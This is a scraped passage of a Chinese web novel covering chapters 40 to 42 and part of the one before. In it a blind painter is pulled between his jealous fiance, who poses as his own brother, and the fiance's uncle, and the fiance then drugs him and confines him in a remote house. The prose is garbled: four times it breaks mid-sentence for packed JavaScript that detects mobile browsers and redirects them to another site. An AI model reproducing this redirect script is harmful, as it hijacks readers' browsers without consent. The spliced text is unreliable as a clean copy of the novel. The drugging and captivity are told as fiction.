程诲南看着柯玉树的背影,抽完了衣袋里的所有烟,才打电话给手下。 “让他们卖我个人情,把那小姑娘放了。以后?以后也让那小姑娘走,送颜料不值几个钱,不必多问。” 香烟散在空气中,走廊尽头,柯玉树摸出衣袋里的那支烟,路过垃圾桶时随手丢了进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036753|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 回到病房,柯玉树把盲杖放到床边,正打算坐下,却忽然摸到了一只冰凉的手。 程雀枝阴沉沉地问:“玉树,你去哪了?” 心念电转间,柯玉树想到程雀枝可能是在消防通道看到了什么,他脸色没变,温柔地说:“睡不着出去走走,你怎么醒了?” 程雀枝冰凉的手反扣住柯玉树的五指,将他拉到床边,咬牙切齿地说:“玉树,我做了个梦。” “什么梦?” 柯玉树就着这个姿势,轻轻抚摸程雀枝的鬓角,像是在安抚他病弱的未婚夫。 “我梦到你出轨了,我明明在拼命工作,却成了无能的丈夫,只能眼睁睁看着你和其他人私下会面,最后远走高飞。” 程雀枝还记得自己透过玻璃看到的那一幕,老畜生当着他的面把玉树揽在怀里,甚至手还放进了玉树大衣! 程诲南那挑衅十足的眼神直接将程雀枝引爆了,甚至于现在,柯玉树身上也有着淡淡的烟味,像是被程诲南腌入了味。 气死他了! “亲爱的,你怎么会做这样的梦呢?梦都是反的,别担心。” 柯玉树的脸上没有丝毫心虚,语气也像往常一样淡然,程雀枝不禁有些疑惑,忽然又像是被冷水泼醒——他光顾着看程诲南私下找上柯玉树这件事了,完全忽略程诲南有可能和柯玉树说了什么! 要是程诲南已经将一切和盘托出,怎么办? ……他是不是太放肆了? 程雀枝缓缓松开捏着柯玉树肩膀的手,讷讷地说:“真的吗?可是那梦真的很真实……我太害怕了,玉树,你会觉得我幼稚吗?” 程雀枝与柯玉树十指紧扣,抓着他的手到唇边细吻,不安到了极点。 柯玉树依旧淡定安抚他:“别害怕,程栖山,你是我最喜欢的人,我怎么可能出轨?” 程雀枝浑身一僵,一股难以言喻的恶心感觉涌上心头,鼻腔里还弥漫着程诲南常抽的烟的味道,耳朵里又传来死鬼大哥的名字,他忽然浑身抽搐了一下,向着柯玉树倒了过去。 柯玉树急了。 “栖山,栖山?你怎么了?怎么回事?有哪里不舒服吗?” 玉树还在叫这个名字! 程雀枝大口大口地深呼吸。 柯玉树连忙起来,想要去按急救铃,程雀枝却强行抑制住自己身体的抽搐,把柯玉树拉了回来。 “没事,我……没事。” “真的没事吗?” 柯玉树脸上的担忧做不得假,至少这一刻他是为自己担心的,程雀枝这样想,现在人就在眼前,程雀枝却怎么看都感觉看不透。 他像是被困在了无法挣脱的蛛网里,呼吸困难,无论是程栖山、程诲南、庭华还有Ye先生,都如同魔咒一样缠绕在他耳边,每一个人都在和他抢,他几乎什么优势都没有。 程雀枝面容扭曲,声音却很平静:“别担心,我真的没事,只要睡一觉就好。” 听到这里,柯玉树缓缓收回手,把程雀枝扶到他自己的床上坐着。在这过程中,程雀枝企图透过微光看清柯玉树的表情,但黑夜让柯玉树脸上的所有表情都模糊不清。 “病人就该好好休息,大半夜被梦吓醒了也别下床,给我打电话嘛。快睡,我守着你。” 柯玉树轻声哄着自家未婚夫,还替他盖好了被子,居然真就在床边守着。 程雀枝轻轻嗯了一声,他确实有些困意,刚刚被气了一遭,现在是浑身发冷又无力,仿佛下一秒就会直接晕倒。 “那我睡了,你也早点睡。”程雀枝说。 “快睡,等你睡了我再睡。”柯玉树说。 柯玉树就守在床边,程雀枝闭上眼,可能是真的气得很了,没过一会儿就呼吸平缓,不知道是睡了还是晕了。 柯玉树又等了几分钟,才轻手轻脚回到自己的病床上,片刻后,衣料摩擦的声音消失,柯玉树的呼吸也变得平缓。 黑夜中,程雀枝从枕头下拿出手机,编辑一大段短信,点击发送。 屏幕上幽幽的光芒倒映出他可怖的眼神,仿佛下一秒就要暴起,把阻挠他的人通通拉下深渊。 包括他自己。 40.偷情中 40 程雀枝的工作很多,经常从白天工作到夜晚。 这些文件必须加急处理,以程栖山的责任心,他绝对不会选择搁置,程雀枝只好埋头苦干,柯玉树都有些惊讶,他居然能忍这么久。 “真不打算出去走走吗?我听医生说今天天气很好,晒晒太阳怎么样?”柯玉树再次询问。 程雀枝依旧把头埋在文件里。 “现在还忙得很,抱歉玉树,让助理陪你出去可以吗?” 柯玉树没要助理跟着,自己拄着盲杖去到医院的后花园。 私立医院的医护人员不多,柯玉树请空闲的护士将自己带到了花棚边上的长椅,那长椅正对着医院唯一一个人工湖。 人工湖似乎结冰了,冷风吹过,柯玉树听不到水声,他静静闭上眼,听着湖边人群的走动声音。 忽然,有脚步声靠近。 柯玉树侧头问:“你要我做什么?” 程诲南走在长椅后面,大腿紧贴着靠背,俯身在柯玉树身旁说:“你怎么知道是我?” 柯玉树不答。 “想问你,他最近有没有问起过我,我还给他准备了初夜礼物,是他最喜欢的Bootlaces,给。” 程诲南把纸袋递给柯玉树,柯玉树接过却没有拆开,而是问:“他真喜欢吃甘草糖吗?” “是的,Liquorice他现在应该还挺喜欢的,这种糖很长,像是鞋带,他小时候经常把糖挂在脖子上,假装胡子。” 程诲南伸手将纸袋拆开,取出一袋甘草糖,放在柯玉树的手心。 “不知道你喜不喜欢,这里面有中草药味和陈皮味,味道很奇特。” 柯玉树把甘草糖又放回纸袋,拒绝道:“吃不惯,像是在嚼中药。” 被拒绝了,程诲南依旧不恼,转到柯玉树身侧坐着。两人一同听湖边的声音,风吹凉了柯玉树的指尖,程诲南看着看着,忽然站起来,解开自己的围巾给柯玉树围了起来。 柯玉树一开始是拒绝的,程诲南故作失望,捧着温暖的围巾说:“我的两个侄子已经和我不亲近了,小柯,连你也要这样吗?” 柯玉树挑眉,“与我无关。” 但他还是任由程诲南将围巾系在了自己脖子上。 软羊绒的围巾密不透风,柯玉树一边摸着,一边问:“是什么颜色的?” “大红灯笼的正红色。” 柯玉树:“……” 程诲南为什么要戴一条这颜色的围巾?他不是风流俏公子吗?这是在? 柯玉树又沉默地坐了一会儿,才起身打算离开,程诲南也跟着他站了起来。 两人转身,程诲南抬头,不远处刚好可以看到住院部的窗户。 “下次见面是什么时候?” 柯玉树摇头:“不知道。” “那好吧,小柯,希望你能认真思考我之前说的话,再感受一下程栖山,他……或许真的和你想象的不一样。” 柯玉树依旧是没有回答,提着纸袋走远了。 程诲南坐在长椅上,忽然笑了一声,他将一颗石子踢到冰湖里,没有完全冻结的冰湖破了个口子,溅起一阵小水花。 原本完美的湖面,平添了一点瑕疵。 柯玉树回到病房的时候,发现病房内的温度居然很低,有风灌进来,应该窗户被打开了。 “我回来了,怎么还开着窗户?助理呢?关一下。”柯玉树放下纸袋。 “助理不在,”程雀枝幽幽地说:“你也不在,我下床很累,动不了。” 柯玉树只好自己摸索着过去,把窗户关上。 “是在埋怨我太久没回来吗?好了,给你带了糖。” 柯玉树将纸袋递给程雀枝,程雀枝接过一看,忽然冷笑一声。 柯玉树说:“听说你小时候很喜欢这种糖,挂在脖子上装胡子,还挺活泼的。怎么小时候那么活泼,长大了反倒是变得沉稳了呢?” 程雀枝挑眉,“听说?听谁说的?” 他反手就将纸袋甩到角落。 “你小叔说的,程栖山,老实告诉我,你想跟你小叔修复关系吗?” 柯玉树半靠在床头,姿态慵懒,他半张脸都埋进了红围巾里,程雀枝这才发现这条红围巾,玉树以前没戴过,再一联想,玉树刚刚见到程诲南。 程雀枝忽然觉得这红围巾碍眼得很。 “我跟他绝无可能修复关系,玉树,你围巾丑死了,换一条可以吗?” 程雀枝伸手去解柯玉树的围巾,柯玉树也任由他解下来,换上了程雀枝的。 新围巾布料冰凉,刺激得柯玉树脖颈上都泛起了小疙瘩,程雀枝硬着心肠,把围巾给他系得严严实实,这才舒心。 “那老不死的还跟你说了什么?” 柯玉树给自己倒了杯热水,驱散了从外面归来的寒意,才摇头回答:“不是什么重要的事。” 程雀枝差点掰断手上的触控笔。 不是什么重要的事吗?那就只剩下调情了,果然是个老东西,一把年纪了还这么没羞没臊。 忽然,工作平板上跳出个弹窗,程雀枝低头一看,登时气不打一处来。 程诲南:【你真无能啊。】 程雀枝盯着那四个字看了很久,忽然一笑。 “玉树,为我画张画吧,就三天后,我们出院回家,你帮我画。” 柯玉树放下水杯。 “当然可以。” 那日在湖边见面后,程诲南便天天来找柯玉树,即便柯玉树拒绝,并且告知未婚夫不会缓和跟他的关系,程诲南却还是想尽方法制造偶遇,防不胜防,甚至连柯玉树去药房拿药的这点时间都不放过。 按理来说,拿药这些小事轮不到柯玉树亲自去做,毕竟他是一个盲人,奈何这几天医生特别忙,助理也特别忙,就连护士和护工都很忙,一来二去,居然一时半会儿没人有空去拿药,柯玉树干脆就提出自己帮忙。 “我知道位置,经常往那里去。”柯玉树这样说。 程雀枝便也同意了让他去拿药,反正只有很短的一截路。 柯玉树提着程雀枝的药进电梯,忽然,一只手握住了他的盲杖,又有另一只手扶着他的肩膀。 “小心,电梯里面有货物。” 柯玉树的盲杖微微向前推了一下,果然,电梯里放着一个很大的纸箱,旁边的搬运工一个劲儿地道歉。 柯玉树摇头,对搬运工说:“你先搬上去吧。” 他没有追责,搬运工便千恩万谢地关闭了电梯门。 电梯持续上升,柯玉树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040787|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推开旁边的人,点头说:“谢谢你,程先生,要是没有什么事我就先走了。” 程诲南完全没给柯玉树反应的机会,又拉着他往旁边走。 电梯旁边是一排空病房,柯玉树想要挣脱他的手,奈何程诲南却说:“柯月叶出事了。” 听到这句话,柯玉树停止了挣扎。 程诲南把柯玉树拉进其中一个空病房,关上门,然后把柯玉树按在门上,自己靠着门面对柯玉树。 “见你一次可真不容易,小柯,给我拉个白名单呗?” 知道自己进了黑名单还这么狂? 柯玉树微微皱眉,现在他受制于人,只好照做,当着程诲南的面,让AI把他拉进了白名单。 他现在确实没有小叶的消息。 做完这一切,程诲南又拉住柯玉树的手腕,为他戴上运动手环。 “放心,没有窃听器,只是检测你的各项数据而已,我很担心你的身体。”程诲南说。 柯玉树任由他给自己戴上手环,手环扣的尺寸刚刚好,深黑色的玻璃屏幕反射出一道凌厉的光,更衬得柯玉树手腕有力而白皙。 程诲南满意点头,从怀里掏了根烟。 “来一根?” 柯玉树拒绝了,程诲南也没有将烟点燃,而是放回口袋,叹了口气。 “小柯,你妹妹应该已经到地中海的领域了,但是西索当地的高官临时反水,导致她被扣在了当地,你猜诱导高官反水的人是谁?” 柯玉树不语,他手上提着给程雀枝的药,袋子轻轻晃动,发出声响。 “我知道你一直不相信我,但你要知道,柯月叶走的那条商道形势复杂,她不仅仅需要金钱和权力,还需要足够硬的人脉。你我都知道西索战区除了毒品外,许多贸易都合法,但那些贸易也分三六九等……” 程诲南开始细细给柯玉树剖析局势,他甚至照顾到柯玉树是个搞艺术的,可能完全不懂商业上的事,用了很浅显易懂的说法,让柯玉树知晓了个大概。 柯玉树终于皱起了眉,“你的意思是说,小叶运送的颜料在A类货品?A类货品明明有那么多种类,小叶怎么会突然被拦下来?” “只要打通了关窍,自然不会被拦下来,但架不住有人忽然反悔,小柯,你——” 程诲南话还没说完,忽然听到由远及近的脚步声。 这几间空房间平时都不会有人过来,两人愣了一下,随即听到了程雀枝的声音。 “你确定他是往这边过来的?” 柯玉树还没反应过来,就被程诲南拉到墙边,外面的人在那一瞬间也刚好路过门口。 “停下。” 病房门中间的玻璃闪过几道黑影,脚步声也就此停在了病房门前,柯玉树被程诲南拉住,在玻璃块和墙的夹角之间,无法动弹。 程诲南还想把柯玉树拉得离自己近一点,却被柯玉树轻轻推开,他皱眉,刚想说什么,却没想到被一只手捂住了嘴。 程诲南:“!” 他低着头看向柯玉树,嘴角勾起了一抹十分张扬的笑容。 柯玉树感觉到手心肌肉拉扯,微微皱眉,即便眼睛看不见,也还是狠狠瞪了面前的人一眼。 门外,程雀枝声音很冷。 “玉树,你在里面吗?” 41.偷情下 41 柯玉树不开口,程雀枝又敲了敲病房的门。 “玉树,你到底在不在里面?” 程诲南扫了眼玻璃外的人,即便嘴被玉树捂着,依旧泄露出了一声轻笑。 那声音很轻,却在柯玉树耳中不断放大,他生怕外面的程雀枝听到,于是狠狠捂住程诲南的嘴,没想到这一用力,程诲南又发出一声闷哼。 故意的是吧?这老男人绝对是故意的! 门外的程雀枝果然听到了闷哼声,顿时声音沉了下来。 “玉树,要是你不在这里面的话,就让开吧,我马上要破门了。” 柯玉树微微睁大眼睛,暗骂程雀枝可真是个疯子,在医院对着一个空房间破什么门,这人肯定知道自己和程诲南在病房里。 他这副模样落在程诲南眼中,却是一脸的慌乱与担忧——良家妇男被捉奸在医院的空房间里,人证物证俱在,只能祈求地看向自己。 好可怜呢。 程诲南顿时被逗笑了,他把柯玉树的手取下来,然后揽着柯玉树的腰,在他耳边轻声说:“我来。” 柯玉树不懂他的意思,下一刻就被用力揽着腰旋转,两人旋转过了门口的玻璃,程诲南将柯玉树挡得严严实实,即便是外面的人向里看,也只看得到程诲南的背影。 程诲南把柯玉树带到病床边,轻声说:“不想让他知道咱们在偷情,就听我的话,去床上躲着。” “可是我们没有——” “没有,当然没有,但他信吗?” 柯玉树的脸沉了下去,甚至隐隐约约有些发白,像是真的被吓到了。 程诲南连忙安抚:“乖,小柯,你就在床上躲着,我来应付他,绝对不会让他发现你。” 柯玉树无奈至极,只能这么做了。他在床上躺着,盖好被子后探出头来,想要说些什么,却又被程诲南摁了回去。 “别说这么多——” 声音戛然而止,因为病房门口忽然传来一声巨响,一柄消防斧劈穿了病房大门,露出锋利的斧头尖,又被外面的人用力抽回。 “在里面吗?”程雀枝咬牙切齿。 “砰!” 又是一斧子,然后是见惯了火并的程诲南都有些惊讶,低骂:“真他妈是个疯子。” 柯玉树所见略同。 程诲南又低下头,在病床旁边轻轻说:“柯玉树,你现在能信任的只有我一个,别动,别出声。” 说完这句话,他将柯玉树的头盖上,留了一条呼吸缝,然后徐徐踱到门口两米处站着。 病房中间的玻璃早已被劈得粉碎,木屑飞溅,最后一斧子落下,男人立在走廊上看向前方,手握着消防斧,双目赤红。 程雀枝抬眼,看见里面是程诲南,冷笑一声。 “你怎么在这儿?” 程诲南:“你猜。” 程雀枝又看向病房内床上那鼓起来的一团,顿时怒气疯狂向上涌,直至眼前发黑,然后猛然吐了口血出来! “老板/少爷!” 走廊的助理和保镖大叫,想要过来扶程雀枝,程雀枝却完全没当回事:“滚,别他妈碰我!” 他又转头看向病房里的程诲南。 “说说吧,小叔,你怎么会在这里?” 他说话时咬牙切齿,表情恐怖的像是个杀人魔,似乎只要程诲南说错一个字,下一秒他就能挥着消防斧把人给砍了。 程诲南摇头说:“我本来是想偷偷给你个惊喜,却没想到被识破了,不愧是我侄子,真聪明。” 程诲南一脸的有恃无恐,程雀枝当然知道他捏着什么把柄,此刻的程雀枝眼前发黑,已经有一大片看不见了,全都是光怪陆离的色块,他撑着消防斧勉强站立,无论是肺部还是胸口像是撕裂一样,几乎浑身都在痛。 他却依旧咬牙切齿地盯着病床。 “柯玉树呢?” 玉树,你回答,只要你说话我就相信你,无论是说什么,我只求你给我个解释。 程雀枝简直要为自卑的自己气笑了,奈何床上的人却依旧一动不动,反倒是程诲南说:“你未婚夫怎么可能在我这里,要是在我这里,那不就意味着……” 程诲南做了一个很夸张的表情,说:“他在和我偷情?” 柯玉树原本偷偷伸出来的手,又默默缩了回去。 程雀枝:“……” 他深吸一口气,憋了一肚子的火。 “程诲南,我*你——” 只是火还没有发出来,程雀枝就直直向后面倒去,还好保镖及时接住了他。 消防斧落在地上,顿时一片兵荒马乱。 “少爷,少爷你咋了?!” “医生,快叫医生!少爷晕过去!” 柯玉树:“……” 程诲南:“真弱啊……” 听到自己未婚夫被气晕了,柯玉树也顾不得什么躲不躲的了,一把掀开被子下床,急急向门口走去,却因为失明导致膝盖和腿部都被床栏磕伤,他也失去平衡栽倒在了床上,发出一声闷响。 程诲南要去扶,柯玉树很快站立起来,跌跌撞撞向慌乱的人群过去,扑进了程诲南的怀抱。 程诲南把人接着,安抚:“别担心,他不过是被气晕过去了而已,怎么样?是不是没让他发现你?” 他居然还敢邀功,柯玉树抬手就是一耳光。 “滚!” 然后就冲出病房,向着大部队追了过去。 柯玉树这一耳光毫不留情,程诲南的脸被打得偏在了一边,他用舌头顶顶腮帮子,居然又笑了。 “急什么,我都和你说了真心话,你偏偏不听,玉树,要是你知道这是在白为程雀枝着急,会不后悔打了我这个巴掌?” 程诲南掏出根烟,然后慢悠悠走到吸烟区,点燃,吞云吐雾。 忽然,手机震动一声,程诲南神色淡淡地接起。 “嗯,权限全都放给她吧……人应该没事,货也记得保护好,不必动,程雀枝的人不敢再做什么。” 挂断电话,程诲南望向窗外,若有所思。 “柯家的化工厂啊……” “柯月叶,你似乎藏了些什么……” …… 经此一遭,程雀枝又在医院多住了三天。 柯玉树在其间寸步不离地照顾他,他原以为程雀枝会质问自己,却没想到程雀枝什么都没问,只说是被程诲南气到了,以后不再和他来往。 柯玉树看上去很担忧,时常欲言又止,程雀枝却像是不想听他的解释,总是转移话题。 “玉树,我相信你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047879|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就像你相信我那样,解释都是多余的,也会让我们之间生出嫌隙来,所以你我之间不需要解释。” 柯玉树点头说:“我知道了。” 他看上去信了,实则信了个鬼。 柯玉树能不知道程雀枝的性格吗?这小子的占有欲和嫉妒心爆表,知道自己和程诲南偷偷见面后居然还这么淡定,肯定是在偷偷憋了个大的。 程雀枝越理智,柯玉树就越不安,他觉得这人已经半疯了,把自己的猜测打电话和庭华说了一遍,庭华不禁紧张起来。 “玉树,需要我去接你离开吗?” 柯玉树依旧是拒绝,只是说:“放心,他不会怎么伤害我,不过我可能会失联一段时间,之前寄存在你们家中药店的那些颜料就交给你了,到时候会有人去取。放心,会有人来救我。” 他放了这么久的饵,程雀枝再不咬钩就不礼貌了。 既然柯玉树都这么说了,庭华也没有继续纠缠下去的理由,手机对面只剩下庭华有些急促的喘息声,柯玉树也没说话。 过了半分钟左右,庭华才沙哑着声音说:“我知道了。” 柯玉树:“挂了。” 手机只余下盲音,庭华看着被挂断的通话界面,缓缓放下手机。 他离开房间,回到c市庭家的祠堂里,直直跪了下去。 庭华父亲是家主,老爷子老来得子,一向很宠爱他。 庭华还记得老爷子一脸恨铁不成钢的模样,老人的骂声犹在耳边:“别以为我不知道他是谁,庭华,你居然为了一个男人不惜到处欠别人人情,甚至上赶着让他利用!瑟莲家族和西索战区是我们庭家该碰的吗?庭家兢兢业业这么多年,全毁在了你一人手上!” 庭华却反驳道:“当然不是为了他,庭家现在需要改革,否则国内将再无我们的一席之地。” 实则他是怎么想的,老爷子和他都心知肚明,说什么改革,不过是想介入这趟浑水,为那个男人当靠山。 老爷子拐杖毫不留情砸了下来,即便已经过去了好几天,那疼痛却依旧缠绕在庭华身体上,却远远抵不过他心里的痛苦。 痛苦一直长久伴随着他,四年了,他原本应该感到麻木,却没想到越来越痛。 庭华抬头,看到了庭家列祖列宗的灵位,他又低下头去,无颜面对。 庭华是庭家最有天赋的道士,万众瞩目,现在继承人的身份却岌岌可危,无数人等着看他跌落神坛。 庭华还记得自己与柯玉树分别的场景,那是一个浓雾的早晨,柯玉树站在山门前,一脸的冷淡。 “庭华,我好像对你没有兴趣了。” 心似火烧,经年不熄,庭华狠狠扇了自己一个耳光,重重向着祖宗的牌位磕头,也不起身,只是额头抵着地面,低声说:“不会了,再不会了……” 他好像累了,又困了,只想好好睡一觉,梦里却始终缠绕着柯玉树,怎么也挣脱不开。 可柯玉树已经有了新的目标,和从前那些都不一样,自己为他做了这么多,他真的会接受吗? 庭华抬头,已经泪流满面。 看着一排排灵位,他任由自己的泪珠滚落在地,已没了从前的脆弱,恢复了庭家继承人的气势。 或许他不该这么做。 玉树,抱歉。 42.无效囚禁 42 程雀枝出院那天阴雨蒙蒙,来接他的人很多,足足有六七辆车。 车队驶离医院,柯玉树握着程雀枝的手,微微皱眉。 “怎么手还是这么凉,亲爱的,你很冷吗?” 程雀枝只是淡淡回答:“不冷,体虚罢了,回家补补。” 他阻止了柯玉树解围巾的动作。 柯玉树今天戴着的这条围巾,依旧是程雀枝选的米黄色,那条正红的围巾已经被程雀枝撕碎,沉入了医院的冰湖里。 “好,那咱们到家就好好休息,回家之后工作还那么多的话,你就推给程诲南,你现在是病人,他可不能压榨你。”柯玉树说。 程雀枝轻轻嗯了一声,就再也没有说话。 柯玉树知道是自己提起了程诲南,才引得程雀枝不快,所以他状似不安地问:“我是不是又提起了令你不开心的事?” “没事。”程雀枝依旧这么说。 柯玉树哦了一声,简直想转头给他一巴掌。 还敢说没事,你那语气是没事的样子吗? 车子行驶了大概两个小时,却没有停下来的意思,柯玉树疑惑问道:“怎么开了这么久?不回家吗?” 程雀枝却说:“咱们要回家,不过是要回另一个家。” 柯玉树摸索着去抓程雀枝的手,依旧是一脸不安,问:“怎么突然又要搬家了,亲爱的,是发生什么事了吗?” “是哦,最近有大事要发生,”程雀枝伸出手,在柯玉树面前挥了两下,冷风伴着点点香味飘过柯玉树鼻尖,“玉树不要担心,和我走就行……” 程雀枝的声音越来越慢,话音刚落,柯玉树就倒在了他的腿上。 程雀枝解下柯玉树脖子上的围巾放进密封袋,丢到后备箱,然后开窗通风。 做好这一切,程雀枝才解开口罩,呼吸了新鲜空气。 他抚摸着柯玉树柔顺的长发,眼眸幽深。 “果然,睡着的玉树最听话了。” 手指沿着长发一路向下顺过去,程雀枝看着前方的道路,眼中燃着兴奋的光。 车队冲下高速,又绕着盘山公路开了两公里,最后在岔路口分作两队,载着两人的车队向右前方行驶,另外一支车队则停在拐弯处,金发的雇佣兵立在车前,等着斩断后面的尾巴。 车上,程雀枝轻轻敲了敲柯玉树的眉骨,心情颇好,耳边传来手下人的声音:“老板,后面一共来了三波人,咱们只甩开了一波。” “除了程诲南,还有谁的人?” 雇佣兵支支吾吾,看着车上下来的同期雇佣兵:“好像是……大少爷。” 程雀枝没收住力气,指甲在柯玉树的眉骨上留下了浅淡的月牙痕,他冷笑一声,“真他妈的阴魂不散,都成植物人了还这么不要脸,不必留情,直接动手。” 片刻后,盘山公路转弯处飞出去两辆车,两方人马在山崖旁边交手,程栖山手下的人被死死缠住,只能眼睁睁看着程雀枝的车队扬长而去,他们对视一眼。 “走!” 混战之后,警车呼啸而至。 然而警察到的时候,盘山公路转弯处已经没了人影,只有山崖下面倒着两辆空车。 刑警队队长皱眉暗骂一声:“简直无法无天!” “队长,咱们还继续查吗?” “查什么查?!这两辆车一看就是□□,根本查不了!” 刑警队队长焦头烂额。 警戒线外,站着几个旅客装扮的男男女女正在向里面张望,得知车里并没有人后,几人又立刻调转车头,绕了个大弯,向程雀枝车队消失的地方开去。 …… 柯玉树醒来的时候头有些晕,他抬手想要揉揉太阳穴,却发现手臂动不了,似乎被绑了起来。 他又拉扯了两下手臂,发现绑着他的是十分柔软的可伸缩布料,柯玉树眉头一挑。 这是囚禁加捆绑? 玩得还挺花。 柯玉树手腕翻转,再用力拉扯一下,可伸缩布料中间就空出了一大截,他又微微向后缩,右手便从布料里逃了出来。 柯玉树:“……” 程雀枝会绑人吗? 可曾读过什么书,吃过什么药? 原来捆绑只是做做样子,程雀枝是在和他玩情趣吗? 柯玉树思索两秒,然后面无表情把手腕塞回可伸缩布料,他现在是要自己把自己绑起来,比挣脱还要费劲。 费了九牛二虎之力,手腕上的布料终于恢复如初。 忽然,旁边传来程雀枝的声音:“怎么又绑回去了?” 柯玉树指尖一抖,这死小子在旁边看了多久,他一直都在吗? 跟个鬼一样! 柯玉树转向程雀枝的方向,抿唇不语。 “柯玉树,你以为我在和你玩情趣吗?” 程雀枝站了起来,弯腰捏住了床上柯玉树的下巴,他用的力道有些大,柯玉树下巴很快就红了起来。 “怎么一点自知之明都没有,你现在是被我囚禁了,知道吗?你需要接受惩罚!” 程雀枝语气很激动,已经陷入了半病态的情绪里,柯玉树却不是很想回答,因为他总感觉有哪里怪怪的。 看着柯玉树,程雀枝克制着心中的欲望,将柯玉树带到了这个完全陌生的地方,深山老林,即便程诲南有通天的手段也追不上来。 就在刚刚,程雀枝想彻底和柯玉树撕破脸,却在触及冰凉的手铐后,转头换成了触之升温的可伸缩布料。 程雀枝暗骂自己真是个废物,窝囊费! “柯玉树,你说句话。” 柯玉树茫然眨眼,侧过头去。 “你想听什么?” 程雀枝又摁着他的下巴,把脸掰了回来,对着自己:“你是怕了?还是生气、或者是想反悔了,柯玉树,认清现实吧,我就是这样的人。” 柯玉树:“……” 他真的很不理解,程雀枝到底在自导自演什么? “我没怕,只是有些疑惑,你既然要囚禁我,为什么不用手铐?惩罚又在哪里?”柯玉树问。 柯玉树的反应太过淡定,程雀枝茫然的一瞬间,又立刻意识到柯玉树还把自己当成程栖山,顿时一股怒意涌上心头。 程雀枝用力压制住胸口蔓延上来的血腥味,冷笑一声。 “惩罚?你会知道的。” 然后就没有下文了。 程雀枝就这么静静看着床上的柯玉树,柯玉树则茫然地睁着双目,不明白现状。 几分钟后,柯玉树开口:“程栖山?” 没有人回应。 没听到程雀枝离开的脚步声,柯玉树猜测这死小子又躲在哪个角落看自己了,他犹豫片刻,然后当着程雀枝的面又把手腕上的东西挣脱开,然后下床去。 “程栖山,你在哪里?我有些饿了。” 程雀枝:“……” 眼见着柯玉树要磕到床头柜,程雀枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050550|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终还是伸出手,把人揽进自己怀中。 依旧沉默。 “亲爱的,你到底怎么了?”柯玉树在程雀枝怀中轻嗅,“你给我做了果汁吗?是芒果,还是其它水果?你芒果过敏,少碰。” 程雀枝又忽然放开柯玉树,冷笑:“你凭什么以为是我给你做的?” “你不能喝芒果汁。”柯玉树回答。 程雀枝:“……” 他有多想直接告诉柯玉树,他不是程栖山,他程雀枝根本不对芒果过敏。 但是程雀枝不敢,只敢牵着柯玉树的手来到客厅。 柯玉树坐到了餐桌面前,他感觉不到室内流通的气流,即便是在郊外也会有风或是鸟声,看来程雀枝把门窗都封死了。 这小子是真囚禁? “你就在这里待着,和我一起。”程雀枝硬邦邦地说,“这就是惩罚,谁让你背着我偷偷去见程诲南。” 柯玉树喝着芒果汁,乖乖点头。 “好哦。” “你没有什么其他想问的吗?”程雀枝难以置信。 他预测过十几种柯玉树的反应,并且一一做了应对方案:绝食就打营养针;柯玉树不可能自杀,房子里所有的利器都被程雀枝管着;又哭又闹的话,程雀枝就给柯玉树下点药。 迟早有一天柯玉树会放弃挣扎,乖乖待在他身边。 程雀枝甚至幻想过柯玉树得斯德哥尔摩综合症,他期待着玉树对自己依赖的模样,却没想到柯玉树从头到尾都很淡定,淡定得程雀枝似乎都有些麻木了。 “没有什么想问的。”柯玉树回答。 程雀枝木木地说:“真好。” 他接住又昏了过去的柯玉树,抱到沙发上,仅仅是这一段路,程雀枝居然就开始大喘气。 他现在太虚了。 他们身处少数民族区域的一座高海拔的雪山,房子在雪线周围,荒无人烟。 程雀枝这一次过来什么人也没带,就连最信任的助理都只知道他在这座大山里,不知道具体位置,所以这栋房子的所有布置都是程雀枝亲力亲为。 他轻笑一声,“真好啊,玉树,现在这里就只剩你我两个人了。” 没有那些飞来飞去的苍蝇和野狼。 真好。 程雀枝又看了柯玉树很久,在他额头上轻轻落下一吻。 在此之前,他从来没有这么肆无忌惮地轻吻过柯玉树,他心里简直幸福得冒泡,想把玉树揉进骨血里,又担心柯玉树真的出事。 